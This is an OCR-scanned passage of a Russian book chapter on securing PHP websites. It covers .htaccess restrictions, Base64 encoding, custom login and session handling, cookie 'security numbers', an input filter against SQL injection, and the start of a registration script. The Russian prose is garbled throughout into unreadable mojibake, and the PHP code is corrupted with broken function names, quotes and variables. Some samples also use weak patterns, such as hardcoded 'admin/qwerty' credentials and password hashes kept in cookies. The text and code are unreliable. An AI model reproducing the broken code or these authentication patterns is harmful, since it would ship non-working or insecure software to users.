Ilpasa Web-cepBepa HyXXHBI HE TOJIBKO UIsl MPOBEPKH BO3MOXHOCTH IOCTYNa, HO
W JUIS 3aIIMTHI cleHapueB U Kakux-iubo daitnos. Ecnu y Bac ecth Karajor, rae
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Haxonarcs wabsoHbl WIK (aibl cClieHapHeB, KOTOPBIE TONBKO MMOAKTIOYAIOTCS,
HO He HOJIKHbI BBI3BIBATHCA TMOJIb30OBATEIEM HATIPSMYIO, TO JIOCTYI K TAKUM Kara-
JoraM ciemyer sampetuTh. st 3TOro coamaem daiin .htaccess co ciemyonmm
COEPKUMBIM:

Order Deny,Allow
Deny from all
Allow from 127.0.0.1

B stom nmpumepe Mbl 3anpeiiaem JioGoit goctyn K (aitny uepe3 Gpaysep, Kpome
JIOKa/IbHOTO KoMmbioTepa. TakuMm obpa3oM, xakep He cMoXeT oBpaTHThCs Hanps-
Myio K chaiiiam Karanora, IOCTyIl OTKPBIT TojbKo cueHapusm Web-cepsepa, ko-
TOpPbLIE HaXOISTCH HA CAMOM CEpBepe.

Yrobbl YHPOCTUTH yMpaBleHHe CEepBepoM, CO3XANWTE TAKYI0 CTPYKTYPY cepmepa,
rie B OCHOBHOM Karajiore OyayT Toiabko Te (ailibl U CLeHAapuK, KOTOphie H0JK-
Hbel ObITh HocTynHbl nonb3opatento wepes URL. OcranbHbie ¢ainsl HyXHO
CTPYNIUPOBATE N0 THNAM (1uabJIOHbI B OIMH KATANOr, HACTPOWKH B ApYyroit, noa-
KIo4yaeMble CLIEHapHH B TPeTHH W T. I.) ¥ yOpaTh B OTHE/IbHbIE KaTAIOTH, Iie
YOaneHHBIH JOCTYyN 3ampelieH ¢ noMoureto daitna .htaccess.

OueHb yacTo Ha caifTax ecTh JIeHTa HOBOCTEi, CLIEHApUI JUIsl OTIIPaBKK coobiie-
HUH aIMUHUCTPATOPY W [pPYrHE MpPOrpaMMbl, KOTOPBIE TOJNBKO MOAKIIOYAIOTCS
B JIpyrue crpauuusl. CueHapuil JTeHTBl HOBOCTEH YacTO BKIIOYEH B IJIABHYIO
CTpaHMlly, HalpuMep, ¢ MoMoulbly include. BriosiHe jsoruyHo ybpars Bee daii-
JIBl, OTHOCSILIIUECH K JIEHTE, B OTAENBHBIN 3aliniueHHbii karanor. Tak Bam Oyner
yao6Ho ¥ Gosiee CHOKOITHO yNpaBisiTh caifToM, MOTOMY YTO BEPOATHOCTH B3JIOMA
Yyepes 3allHIIeHHbIEe CLEHAPHH PE3KO YMEHBIIIHTCH.

Ayrentudukauus ¢ noMouibio Web-cepsepa HassiBaercs 6aszopoit. B atom Mero-
Iie TIpH Tiepefiade UMEHH M TapoJisi HCToJib3yercs KonuposaHie Base64. O6parute
BHUMaHHE HA CJIOBO "KoaupoBaHMe'. D10 He wWMdpoBaHHE, U XOTS TEKCT CTaHO-
BUTCA HEYUTAEMBIM, ero Jjerko paciuudposars. Cnenyioummit npumep PHP-
CUEeHapHs KOAMPYeT U IeKOJAUPYeT TEeKCT:
<?php

$str="This is test";

print("<P>Kompyemas cTpoka: $str");

$encoded=basefd4_encode ($str) ;

print ("<P>SaxkoIMpoBaHHElT TexkcT: Sencoded");

$decoded=base64_decode ($encoded) ;

print ("<P>JlexoampoBaHHuit TexkcT: $decoded");

7>

Ecnu BBl BBINOJHUTE STOT clieHapuii, To B pe3ynbrate Ha Web-cTpanuiie Bul yBu-
IUTE TIPUMEPHO Cleylolllee:

Komupyemas cTpoxa: This is a test
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SaKomMpORaHHsl Texcr: VGhpceyBpCyf0ZXNO
Nexomupopauueli Texcr: This is a test

DToT MpUMep HAMISAHO IEMOHCTPHPYET, YTO AEKOIHPOBATh TEKCT CAMIIKOM Mpo-
CTO, M HA 3TO HEe HYXHO CIMIIKOM MHOrO BpeMeHH u ycunuit. Hemocratok konm-
POBAHUA COCTOUT B TOM, YTO @JITOPUTM CIMILIKOM [POCT U o6XomauTcst 6e3 Kio4a,

KOTOPBIIf MOXET MOBJIMSTh HA Pe3ylbTaT U JH06aBUTH JOMOMHUTENbHYIO Oezonac-
HOCTbB.

5.3.3. CamocronaTenbHas cucrema ayreHTuchukayum

IMpu KenraHUM MOXHO CO31aTh CAMOCTOATENILHYIO CHCTEMY ayTeHTU(MHUKALMY, ITO
HE TaK Y W ClHoXHO. JlocTaToOYHO COXpaHWUTh B Kakoi-HuOymL 6a3e uMeHa U na-
ponu nojib3oBaresieil ¥ NMpoM3BOANTE NMPOBEPKY caMocrosTeNbHo. ClieHapuii Mo-
JKeT BBIVISIACTD CJICAYIONIHM obpasoMm:
if (!ceancoras nepemennan $logged)

{

echo("<form action="admin.php" method="get">");

echo ("Mma: <input name="UserName">");

echo ("Maponk: <ipput name="Password">");

</ form>

}

if (MipoBepka MMeHU ¥ Naponsd)

{

// Ecmi npoBepka npouria yCHemHo,

// To ycTaHOBMTE CeaHCoByD nepemenHyn $logged B umcno 1
}
else

{

// wnnaue nepemexHoi $logged npucrouTe sHaueHue 0

}

if ($logged=1)

{ A

// BulBecTH Ha SKpaH SAaKPHTYI MHOOpMALMIO WM SJIEMEHTE!
// ynpaBneHMA amMUHMCTPUMPOBaHKMA CalnToM

}

Oﬁpa'm're BHUMaHMe, Kak obOBABIEHO NOJE BBOAA apoJis:

<BR>Password: <input type="password" name="pass'">
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Tun nosst paBeH password. [Ipu 3TOM Bce CHMBOINBI, BBOAHMbIE B JAHHOE ToJeE,
Oynyt orobpaxarscst B okHe Gpayiepa B BUIE 3BE3IOMEK UK WUPHLIX TOueK. DTo
Heob6xonuMo, 4YToObl HHUKTO HE CMOr MPOUMTaTh Mapojib ¢ 3KpaHa MOHWUTOpA.
H3011pOBAHHBIX KOMIBIOTEPOB B OTAENbHLIX KOMHATAX, KOTAd MHMO Bac HUKTO
HE XOAUT, B peanbHON XH3HH NMpakTHUeckH He ObIBAET, MO3TOMY HE CTOWT OTO-
Opaxare Ha 9KpaHe HUKAKHE TTapOin.

Hns xpaHeHust HHOPMALIMK O MOAB30BATENIE B JAHHOM [PUMEPE CIYKHT ceaH-
coBasi NMepeMeHHas, Koropasi YHMUTOXAETcd [MPU 3aKPLITUM OKHa Opaysepa, uTo
OyZeT COOTBETCTBOBATH BLIXONY M3 CHCTEMBI AIMUHWCTPUpOBaHUS. DTo [efaercs
HCKITIOYHUTENBHO JUIA HANIAIHOCTH, H B pCaJ'IbHOH JKH3HH TaK NMOCTyNnaTh HEJb3A.
YyTb ro3xe Mbl YBUIUM MOYEMY.

OyeHb BAXHO, YTO Ui NMPOBEPKHM MMEHH M MApONs MCIONb3yeTcs JIOTHKA THUNA;
if...else. Eciu npomepka ynausasi, To repemeHHag Gyner pasHa 1, a ecnn Her,
To OGyaer pasHa 0. Yro Tyr BaxHoro? [leno B ToM, 4TO 3Ta nepeMeHHas Oymer
rnobanbHOM, M, YTOOBI Xakep He CMOr M3MEHHTH €€ 3HayeHUe C ITOMOILBIO mepe-
nauu napamerpa yepes URL, Mbl JO/KHBI TPOMHHLUMAIU3UPOBATL MEPEMEHHYIO
B Hayane cueHapus. Mbl ke 3TOro He JeaaeM, HO 33 CYET JIOTHKM if...else
3Ha4YeHHE mepeMeHHoi OyaeT Bcerja ycraHaBIHBaTheHd CLEHapueMm, a uHdopMa-
uus, nepeaanHas panomuukom yepes URL, sarpercs.

TMocnenyiomas sakpuitas 4acTh caita Hyner oTobpaxarbes, TOJIBKO €CJH CeaHco-
Basi NepemeHHasi ycraHoBjgeHa. Sl NpeanoynTa0 B CEAHCOBBLIX NMEPEeMEHHbIX Xpa-
HUTH UMEHA MOJIb30BaTeNeit U NP KaxXaoMm oOpallieHWH K CUEHAPHIO MPOBEpPsTh
9TH 3HavyeHus B Gase ganubiX. [Mouyemy? BernoMHUM, rie XpaHATcsi CEaHCOBbIE
nepeMeHHsle, — 310 Gainsl cookie, 3HAYEHHUSI KOTOPLIX JErKO MOMIENATD.

XpaHeHue UMEHH M Napojisi Takxke Hebe30MacHo, MOTOMY YTO €C/H XaKep CMOXET
MOXWTHTb TAKOW hailyl, TO MOXHO CYMUTATH, YTO Xakep mobuiics cBoeit uenu. Yro-
68 peluTs 3ty npobieMy, MOXHO CO31aTh HA cepsepe Tabauuy, B KoTopoil Oyayt
XpaHUTbCA MAEHTH(UKATOPLI CEAHCOB ABTOPM30BaHHBIX Mojab3oBarenei. Teneps
aBropu3lauus Oyner BuIMsSAeTh TAK:

1. TMocne ynayHo#t mnpoBepkH HMMeHW MoJb3oBaTensd uaeHTHUKATOP CceaHca
nojs3osarens coxpassiercs B Tabnuue. IMomumo uaeHrudukaropa, B Tadnuue
coxXpaHsieTcs BpeMs rnocieaHero obpaleHus.

2. Tpu kaxnom obpaieHnn K TabaWLe TPOUCXOAUT MpoBepKa Ha HalUuyue
unentTudukaropa B Tabnuie. [ToMumo 31070, MpoBEPsIETCSi BPEMSE TIOCJIEAHErO
obpaiieHusi, U €clM OHO MPEeBbICHIIO YCTAHOBIEHHOE 3HauyeHue (Hanpumep,
npouuio Gonee 10 MuHyT), TO AOCTYN 3anpelleH.

[Mpu Takoii cucreme, laxe eclM Xakep CMOXET ykpacThb ¢ain cookie ¢ HAEHTH-
(pUKaTOPOM, TO BEPOSITHOCTH TOTO, YTO COEpPXKalllMiics B HEM WIeHTH(dUKATOP He
ycrapeer, crpeMuTest K Hymio. Yrobsl a1a noruka paborana, HeobxoguMo, YTOOH!
uiIeHTH(UKATOP reHepupoBajcs ciy4aifHo ¥ ero pasmep 6bi1 goctarouHo Gonb-
UM, yTobel ero noabop ObUT MakcuMansHo sarpyaHeH. Ecin pasmep uaeHTH-

9 3ax. 1315
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(pukaropa orpaHuyeH TONBKO 5 CUMBOJIAMH, TO XaKEP MOXET 3alyCTUTh LMKIN~-
yeckuil nonbop, B OXKHIAHWH, YTO XOTh KAKON-TO MAEHTU(HUKATOP MOLOKIET,
M JIOCTYN K 3anpeTHoil 30He OyneT nojyyeH.

B nucTuHre 5.2 MOXHO YBHIETH MPUMEPHBINH BapUAHT CLEHAPUSI.

<?php
@session_start();

session_register("username") ;
session_register("password") ;

7>

<form action="authorize.php" method="post">
<B>Bxon B SanpeTHyn S0Hy</B>

<BR>MmMA: <input name="user">

<BR>[lapont: <input type="password" name="pass">
<P><input type="submit" value="BoiTu">
</form>

<?php

if (isset($user))
(
$username=5user;
$password=Spass;
}

if (($username=="admin") and ($password=="qwerty"))

{
print ("<HR>[lpueer $name<HR>");
print ("<P><A HREF=\"authorize.php?id=1\">Cozpare obrexT</A>");
print ("<P><A HREF=\"authorize.php?id=2\">Vpamre obrexr</A>");

if (Sid==1)

{

// Kon cozpmanua ofeexTa

print ("<P><I>06wexT cozgau</I>");
}

if ($id==2)
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{

// Kon ymanesus ofmeKra

print ("<P><I>00rekr ymanen</I>");

}
}

>

Kak BuauTe, JIOTMKA clieHapus NOCTATOYHO MPOCTa, H Peanu3oBarh €€ B BHIE KO-
[1a ToXe He TaK yX W cioxHo. Eciu Bbl XpaHUTe MMEHa M MapoJn Mojib3oBaTesei
B Dase NAHHBIX, TO YYUTBIBAiTE, YTO HE MCKIIOYEHA BO3MOXHOcTh araku SQL
Injection. IposepsiiTe uMs Moib3oBaTe/ s W MAPOJb HA MPUCYTCTBHE 3alpeliieH-
HBIX [Uisg 0a3bl HAHHBIX CUMBOJIOB, @ 3aNMpPeTHTh HANO, KAK MUHHUMYM, CHMBOJ
ONMHAPHOI KaBbIYKM, neduc, npobes, ckobku U 3HAK MPOLIeHTA.

I1pu camocTosATeNBHON pa3paboTKe CUCTeMBbl 3alLUMThI YUTUTE Cleayroliee:

L.

Huxorga He nepenasaiiTe MeXIy CTpaHMLUAMH HMS MNOJB30BATENsS W Mapolib
yepes ctpoky URL, Tyr HyXeH ToibKo 3anpoc PosT. JIio6Goi 310yMBlLLIeH-
HMK, KOTOPBIN YBUIEN COAEpPXHMOE MOHHTOpa, 3amoMHHUT cTpoky URL u
CMOXeT BOCIMONb30BaThesl BAUMMK NapaMeTpamy AOCTyNa.

Ecau y Bac ectb Heckoneko Web-crpaHuil anMUHHCTPUPOBAHUA, W Heobxo-
IUMO COXPAHATH UMS [ONL3OBATENS MPH MEPEXOJE OT CTPAHULE K CTPaHMLE,
TO TAaKXe MPUMEHSHTE JUISl XpaHEHMs] TOJbKO CEaHCOBhle MepeMeHHbIE WU
BpeMeHHbIe daitnsl cookie, KOTOpbEe YHUUTOXAIOTCS MPU 3aKphiTu Gpaysepa.

B HeKoTOpBIX ciiy4asix odeHb yano6HO peanyu3oBaTh BO3MOXHOCTh ABTOMATHYE-
ckoro Bxoaa. Hanpumep, yroGel Mojib3oBaTe/ b HE BBOAMJI KaXIblif pa3 cBOH
napoJib NpM 3axozie Ha Baul (GopyMm, MOXHO COXPaHHTh ITOT rapojib B ¢aitne
cookie ¥ mpoBepATh Kaxblif pa3 npu Bxoze. Ecin mwisi hopyma 3to ynoGHo,
TO Ui CUCTEM AIMWHMCTPUPOBAHMS HUKOINA HE CTOMT WCIOJb30BaTh TAKOA
Meton. Paitasl cookie oyeHb Jerko BopywoTca ¢ nomolpio araku Cross-Site
Scripting, 1 ecinu Baul cleHapuil OKaxXxeTrcs MOABEPXKEHHBIM 3TOH arake, TO
Maposb CTAHET JIErKoi HaXHBOM [Uisi xakepa. MTak, coxpaHsiTh Napoiu MOXHO
TONBKO IUIsSl HeNpUBWJIETHPOBAHHBIX MONb3oBaTe/eif, HaMmpUMep, noceTuTeei
dopyma. [Naponu cueHapues aIMUHUCTPHPOBAHUS BCEr[a AOKHBI BBOAMTHCH
BPYYHYIO TIPU KaXIOM 3axo/ie Ha CaiT.

Ecnu BBl coxpaHsiere naponib B daitne cookie, To obs3atensHo wudpyitre na-
poiib Mepen coXpaHeHHeM, Belb 3TO HE TaK YXKe W CJIOXKHO clelaTh ¢ NMoMo-
b0 GyHKUMH mds (). Daitnam cookie HYXHO yAensiTh camoe IMpHCTAIbHOE
pHuManue. Ecnn xakep cMOXeT yKpacTb STOT (paiin ¥ NoMecTUT B CBOIO Nanky
Cookies, To Baill cleHapuii nponycTHT xakepa Ge3 mpoBepku naponst. MoxHo
BooBllle He XpaHUTh Mapoiu B cookie, HoO OONBLUIMHCTBO TOML30BATENEN HE
MOBUT 3aNOMHHATh CJIOXKHBIE MAPOJIM U MOXET MPOCTO HE BEPHYThCS K BaM.
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Yrobel xakep we cmor nomdeiars ¢aitn cookie, MOXHO AEHCTROBATL ClENYIO-
UM obpasomM:

e MOMMMO WMEHHW M mapojisi coxpaHsaTh B (aiine cookie ciywaitHoe umcio,
KOTOpoe HazoBeM 4uciiom GesomacHocTv. YToObl OHO BhIMsiAENo B (aiine
YCTPALIAIole, ero MoXHO 3aiM(ppoBars,;

® 3TO XK€ YMC/IO HeoOXOAUMO COXPAHUThL B 3aNMCH MOJIb30BATENS Gaspl naH-
HBLIX B cleluHalbHO OTBEACHHOM T0JIE;

* J[IpH MOCHEAYIOHMIHX BXOMax I0Jb30BaTeNnA Heoﬁxcummo NMpoBEPATL, COOT-
BETCTBYET JIM uncno u3 ¢aina cookie uucny u3 6a3sl ganHeix. Ecnu Her, To
3TO MONBITKA B371OMaA;

e QuYeHb BaXHO, 4TOOBI YMCIO IeHEPUPOBAIOCh 3aHOBO MPU KaXKAOM BXOJe
nonb3oparesis B cucremy. Ecnm xakep ykpan daiin cookie ¢ sammudposan-
HBIM TIApoJieM, TO OH He CMOXET BOCIOJIb30BATHCS ABTOMATUYECKUM BXO-
JIOM B TOM Cjlyyae, KOrJa JIeraJbHbIH [OJNb30BaTeNb YK€ ycrnen BOHTH, U
yiciao GesonacHocTH B Gase MAHHBIX M3MEHWIOCh. Y Xakepa ocraHercs
TOJNIKO OJIMH BapuaHT — pacuiudposars napoib U3 daitna, Ho ecnu mna-
poJib COXKHBIH W JUTMHHBII, TO NMoA0Op €ro MOXeT OTHAThH CIMIIKOM MHOIO
BPEMEHH [aXe Ha CAMOM MOLIHOM KOMITbIOTEpE.

5. Byasre oueHb BHUMATENbHBI K KaXKIOMY MapaMmeTpy, KOTOPBIH mepenaercs
NnoJb30BaTeNeM, W MOMHUTE BCe, YTO Mbl OOCYXIAIH B aHHOW KHMre panee.
Yaie Bcero, clieHapuu agiMHHUCTPHPOBaHHUS caiiTa MO3BOMSIOT BHOCUTH U3-
MEHEHHUSI B COHEPXHMMOE CTPaHULl WK Jaxe 3akauusath (aiiibl HA cepsep.
Ecnu Tak, To He TONBKO Ball CalT OKaXercs YS3BUMbLIM, HO M Bech CEpeep.
Ecnu xakep cMOXeT JTO-TO 3aKauyaTh, TO AajibHelillee TMPOHWUKHOBEHUE Ha
cepsep (mojyueHKe Mpas aIMUHKMCTPATOpa HAa CAMOM CepBepe) YIpoLaeTcs.

6. Ecmu HeoBGXoaMMO M €cTh BO3MOXHOCTb, 0053aTe/IbHO BOCMOJb3YiTeCh (haii-
namu .htaccess st orpaHu4YeHUs DocTyna K onpepeneHHbIM pecypcam. [o ce-
TH JIOJDKHBI ObITh IOCTYMHBI TOJILKO T€ CLIEHAPUH, K KOTOPLIM NeHCTBUTEILHO
HY)X€H HerocpeacTBeHHblit goctyn. Bee, Kk yemy nons3oBarenb He WMeeT 1pa-
Ba obpautarees yepes crpoky URL, no/mkHo 6bITE HOCTYMHO TOJNBKO CEpBEpY,
TO ecTh Ui TakuxX aiJoB HY)XHO Hanucarsb:

<Files "/var/www/html/admin.php">

Deny from all

Allow from 127.0.0.1

</Files>
Cnenyst BceM 3THM peKOMEHOALMSAM, BIOJHE pPeawibHO €O3[aTh COBCTBEHHYIO
GesonacHylo cuUcTeMy MpOBEPKH MMpaB [OOCTYNa MOJb30BATENEH Ballero caiita.

Yrobsl Haw pasrosop Obu1 DoJiee 3aKOHYEHHBIM, AaBaiiTe BEPHEMCst K MYHKTY 4
PAacCMOTPHUM MpPUMEP MCIONb30BaHMUs Mosist GezonacHocTH (AMCTUHT 5.3).
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<?

@session_start();
session_register ("username") ;
session_register ("password") ;
session_register("secure'");

if (isset($susername) and (!isset($clearsecure))
{

Susername=$susername;

S$password=$spassword;

}
else

{

$secure="";

$password
}

md5 ($password) ;

if (!isset (Susername))
die("Heobxommo EBOMTM B cucTemy") ;

Susername = check param($username) ;
$secure = check param{$secure);

// Ecim nepemensas Ge30NaCHOCTM YCTaHOBIEHAa, TO HEODXOIMMO MNPOBEPUTH &€
if ($secure!="")
{
// TpoBepuTh, COOTBETCTBYET IIM NEepeMeHHaA $Secure 3HadeHuio B Gase HaHHEX
Squery = DBQuery("SELECT * FROM UsersTable WHERE
(user_name = 'Susername');
$users = mysgl_num_rows (Squery) ;
if (!Susers)
die("Ountka asrTopuzawmm");
Suser _data = mysql_fetch array(Squery);
if ((Spassword == Suser_data[password_field])
($secure == Suser_data([secure_field]))

// Bce B NOpARKe, MONbL30BaTEe/E ABTOPM3OBAH
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$secure = md5(rand(1l, 1000000));
DBQuery ( "UPDATE UsersTable SET secure_field = '$secure' WHERE

user_name = 'Susername'");
setcookie("ssecure", $secure, mktime(0,0,0,1,1,2010)); 1
else
{

// BBropuzauMs HeBepHa, ODHYNAeM NapamMeTph
setcookie("spassword", "", 0);
setcookie("ssecure", "', 0);

// Ecnu nepemenHas Ge30NacHOCTM HE YCTAHORNEHA, TO NPOBEDPUTE
// vMa M napone, M YCTAaHOBUTH MNEPEMEHHYD OGe30MacHOCTH
if ((Susername) and (Ssecure==""))
{

$query = DBQuery("SELECT * FROM UsersTable WHERE
(user_name = 'Susername’);

Susers = mysqgl_num_rows (Squery) ;
if (!Susers)
die("Oumbra asTopuzatmm");

Suser_data = mysql_fetch_array(Squery) ;
if ($password = Suserd[password_field]))
{
$secure = md5(rand(1, 1000000));
DBQuery ("UPDATE UsersTable SET secure_field = 'Ssecure'
WHERE user_name = 'Susername'");

setcookie("susername", Susername, mktime(0,0,0,1,1,2010));
setcookie ("spassword", $password, mktime(0,0,0,1,1,2010));
setcookie("ssecure", $secure, mktime(0,0,0,1,1,2010));
print ("Hofpo noxanosaTte $ldata[0]");
}

else

{
print ("Oumbra Bxoma");
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}

?>

[/ dopMa IUIA BBEOIA MMEHW MONBBOBATENA U Naposiis
<form action="index.php" method="post">
<B> Bxom B cucremy </B>
Mma: <input name="username" size="20">
Napons: <input type="password" name="password" size="20"><br />
<input type="hidden" name="clearsecure" value="1">
<input type="submit" value="Bxon">
</form>

[aBaiiTe pacCMOTPMM STOT KO, MOTOMY YTO 3/€Ch OYE€Hb MHOTO HHTEPECHBIX
peitenuit, HauHem Mbl ¢ camoro xoHua — c ¢opMbi BBOXA MMEHM M MApOs,
a MoToM yXe mnepeiilieM K NepBbIM cTpoYKaMm Koza. [leno B ToMm, yto pabora cue-
Hapus IO/DKHA HaYMHAThesl ¢ (POPMBI, HO OHA HE MOXET PAacIoNaraTbcs B Hayase
KoJa u3-3a ucnonb3opanus daiinios cookie U ceaHCOBBIX MEPEMEHHBIX.

B dopme BBOAA ecTh HEBUAMMOE TOJIe ¢ UMEHeM clearsecure. B Koze y Hac by-
IIeT MepeMeHHas $secure, KoTopas OyaeT cojepXarh 3Ha4eHue rojis 6esonacHo-
ctid u3 dalina cookie. A ecnu y mons3oBarens ase yyerHele zanucu? Boitns
OMHAXMbI, OH Bceraa OyaerT BXOAMTD MOA OOHMM M TeM Xe umeHeM. Eciu nmonb3o-
BaTeNb yKasan B (popMe HOBOE MMSA M Mapojib, TO NepeMeHHasd $clearsecure Oy-
JIeT nepefaHa CUeHAapHIo co 3HavyeHneM l. B atom ciyyae HeobGXOIMMO HCIIONb-
30BaTh MMS U Mapojib, nepeaaHHbie U3 ¢opmsl. Eciu mepemeHHasi HE COAEPXUT
3HAYEHHE, TO HY)KHO MCNOJbB30BaTL 3HAYeHMUs 13 (haitna cookie.

Crenyoumuit Koa nposepsier, Gepercst M UMS ronb3oBareist U3 cookie (ycraHos-
JIEHA JIK NepeMEeHHan Ssusername) Ecnu MpH 3TOM HE YCTAHOBJIEHA MepeMeHHas
$clearsecure, 3HAYHUT, HeoOXoAMMO HCIOMbL30BaTh JiaHHbIE U3 cookie. B npo-
THUBHOM cllyyae, DaHHbIe nosydeHsl oT Gopmel. CrenosaTesibHO, Napoib Mpel-
cTaBlieH B OTKPBITOM BHIE, U €r0 HYXHO 3aiuhpoBaTh:
if {(isset($susername)) and (!Sclearsecure))

¢ :

Susername=5$susername;

$password=$spassword;

}
else

{

$secure="";

Spassword = md5 ($password) ;

}
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Nanee, eciiu uMs Nosib3oBaTens (nepeMeHHas Susername) NMPOCTOE, TO AOTIONHHU-
TeJbHbIE TMPOBEPKH GECCMbICIEHHBI, W CJIENyeT MPOCTO BbIBECTH COOOLIEHHE O
HeoDXOAMMOCTH BXO/A B CHCTEMY:
if (!isset (Susername))

die ("HeoOxommo BOMTH B cucTeMmy");

Tenepb HY)XHO NMPOBEPHTH NMEPEMEHHBIE HA AONMYCTUMOCTb cuMBosioB. st aroro
MOXHO Hanucarh MYHKIHKIO check_param(), Koropag Gyaer npocro youpare nce
CHMBOJIbI, HE pa3pelleHHbIe SIBHO:

function check_param($var)

{
$var=preg_replace("/["a-za-a0-9\., _\n}/i", "", $var);
return $var;

}

BoizbiBaeM 21y (pyHKIMIO VISl KQKIO0H NepeMeHHOi, nomy4yaeMoii oT noib30BaTe/s:
Susername = check_param($username) ;
$secure = check param($secure);

Maponb npoBepsiTh HE HALO, MOTOMY YTO OH 3alIM(POBAH M MOXET COAEPKAThH
HEJOMyCTUMBIE CMMBOJIEL. UTOBbI Xakep He CMOT MCIOJL3OBATh MOJIe Mapos Uis
peannzaunud atraku SQL Injection, He ncnonb3yeM repeMeHHYIO $password B 3a-
npocax, a MpoBepsieM NapoJjib YCJIOBHOH onepaluen if.

Tenepb Bce roToBO ISl TOro, YToObl MpoM3BecTH npoBepky. Ecnu nepemelinas
$secure COACPXHUT HEMYCTOE 3HAYEHME, TO BBIMOJIHIAETCH CIEAYIOIMHA KO

1. Huiem cTpoky B 6a3ze naHHBIX, e WM NMOJIbL30OBATENS] COOTBETCTBYET YKa3aAH-
HOMY 3HA4YEHMIO.

Ecnn He HaiineHo HM OMHOIl 3amMcH, TO BLIBOAUM coobieHne ob oluoke.

3. TlonyyaeM paHHbIE CTPOKH W [POBEpsEM HMS IoOnb3oBatens U none Geaonac-
Hoctu. Eciu Bce B mopsiike, TO reHepUpyeM HOBoe rojie 6e30nacHOCTH W Co-
XxpaHsieM ero B 6a3e naHHbIX U B (aitne cookie.

Jlasiee BBITIOJIHSAETCS CXOXHWI KOM, HO TONLKO MEpPEeMEeHHasl $secure HE MPOBEPs-
ercs. 310 HEOBXOAMMO, €c/iM $secure paBHA MYCTOMY 3HAYEHMIO, 4 UMS UM Na-
ponb nojyueHsl u3 dopmel. B ciayuae ymauHo# nposepku coxpaHsieM B daiiie
cookie uMst, TapoJib H noJie 6e30MacHOCTH.

5.3.4. Peructpauus

MBI yxe paccMOTpeNnu, Kak NMpoBepUTh, ABIAETCS JIM MOJIb30BaTeNlb ABTOPH30BAH-
HBIM, HO YIYCTWIM OCHOBY — KaK cO3[aTh cucTeMy perucrpaunu. [louemy rak
npousouno? Her, ato He ounbka. CucTemMa perMcTpallui He JIO/XKHA CO3/1aBaTh-
cA J1o cucTeMbl BesonacHocTi. BesonacHocTh MpeBbillie BCEro, U ee Helb3s Mo-
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TOHSITE MOJI PErHcTpalmio, Bce AoMKHO ObITh Haobopor — cHauana saboTumcs
o BezonacHOCTH, a MOTOM THULIEM KO, KOTOpbiH Oyner no6aBisitb HOBBIX MOJib-
30BaTeNeit.

IMpu paspaboTke cHcTeMbl pericTpallMi MOJIb30BATENEil CYILECTBYET MHOIO HIO-
aHCOB, N03TOMY AaBaiiTe o6cyIuM ocHOBHbIE TpeGOBaHUS U peKOMEeHAALUH.

Ecnu Ha Baulem caiite ecrs cueHapuit rollOCOBAHUS, TO XOpomUM crrocobom 3a-
WUTBl OT (ayaa (HAKPYTKU rOJIOCOBAHMWA) SIBJSIETCS 3anper rojloCOBAHMs Hesa-
PETHCTPUPOBAHHBIM TOAb30OBaTeNsiM. Takum obpasoM, 4ToObl NoNib30oBATENs CMOT
OTJaTh [1Ba rofoca, HYXXHO ABAXK/bI 3aPerHCTPUPOBATLCS B CHCTEME.

C onHoil cTOpPOHBI, perucTpaumst AoJKHA ObITh MAKCUMAIBHO IMPOCTOil, YTOGKI
ro/ib30BaTeb MOTPATHII CBOE BPEMSI HA PETUCTPALMIO, W B TO XKE BPeMsi JocTa-
To4HO GesonacHoi, 4yToObl OAMH M TOT XK€ I0Jb30BaTe/b HE CMOTI 3aperucTpupo-
BaThest ABAXABI, YTOOB! NOOGUTBCS MPOCTOTHI, HYXKHO 3aMpaliuBaTh Yy MOMb30BaATE-
JIsl TOJILKO HEOOXOAUMYI0 MHGpOPMALIMIO H HUYEro AULIHEro. A ytobbl YCIOXKHUTH
PerucTpalMio, HaloO 3aCTaBUThH I0JIL30BATE/A BBOAMTH MaKCHMalbHO NpPaBlONO-
noOHY10 MH(pOPMALIKIO.

B GombluMHCTBE ciydyaes, Juiss TOro, 4robbl NOGUTHCH YHMKAILHOCTH 3anuceil
MoJib30Baresieil, MporpaMMMCThl MPUBSI3BIBAIOTCA K HMEHHW MONB30BaTesNsi U 2JeK-
TpOHHOMY afpecy. Xopolliee pelieHie, HO Tae rapaHTHH, YTO MONb30BaTeb YKa-
3aJ NEeHCTBUTENHHO CBOM NAHHbIE, & He Kakoit-Hubyab Gpen? Jliobbie npoBepku
no 1wabnoHy He JanyT HeoOXOAMMOro pe3yjibrarta, MOTOMY YTO HECIO0XHO Npuay-
MaThb HECYLIECTBYIOLINHM 3JIEKTPOHHBIN anpec, KOTOpBIH NpoiaeT Jaxe camyio
XKECTOKYIO TPOBEPKY (PHIABTPOM.

Kak xe MOXHO rapaHTHpOBaTh, YTO MOJIB30BATE/bL BBE/ AEMCTBUTENLHO CYLUECT-
BYIOLUMIA 3/EKTPOHHBIN ajpec, ¥ NMPU 3TOM JaHHbIA alpec NPUHALIEKHUT PEerucT-
pupyouemyest nons3osarento? Ilpocreiiwee, Ho 3dhexTuBHOE peuleHUe —
nocie PerucTpamin HarnpasasTh cepsepy coobulenue ¢ HeoOXOAUMOCTBIO AKTH-
BU3UPOBATH YYETHYIO 3aMMch, 4 [0 3TOr0 CO3JaHHasi yYeTHasi 3anuch NO/KHA
ObITh HEAKTUBHOM.

Ecnau Bbl caenaere cucreMy akTHBalMM, TO YTOOBbI MOMB30BaTE/lb CMOI 3apErucT-
PHUPOBATbCS ABAXKIbI, €My HYXHO MMEThb [Ba NCiCTBUTENbHBIX IEKTPOHHBIX afl-
peca. Ecnu nuiuHero siliMka HeT, To MPHAETCA €ro co3aasaTh, YTO OTHHMET J0-
MOJHUTENbHOE BpeMsl, W GOABLIMHCTBO XaKepoB He GYNeT CBA3bIBATLCS € ITHM.

Kak addexkTusHO peanusosars cucremy aktuBauun? st 3700 MOXET MCTIONb-
30BaTHCA MPUMEPHO CTEAYIOLIMI KOl CLIEHAPUsl PErMCTPALIMM MO/I30BaATENs:
<7?
// Bupon ¢opMEl BBONA PErMCTPALMOHHEX MNAHHEX
if ((Susername=="") and (!isset($id)))
{

>

<form action="register.php" method="post">
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// dopMma ¢ nosAMM, HeOOXOmMMENA IUIA PErUCTPaLMM MOJkS0OBaTENA
WmMa nonezoBarTena <input name="username" size="32">
Mapons <input name="passl" type="password" size="32">
MonreepmMre naponk <input name="pass2" type="password" size="32">
E-mail <input name="email" size="32">
<input type="submit" value="S3aperucTpupoBarbca'>
</form>
<?

}

// Permcrpauua Noins30BaTens
if ((username!="")
{
if ($passl |= S$pass2)
die("llapons He COOTBETCTByeT NoATBEepENeHMO") ;

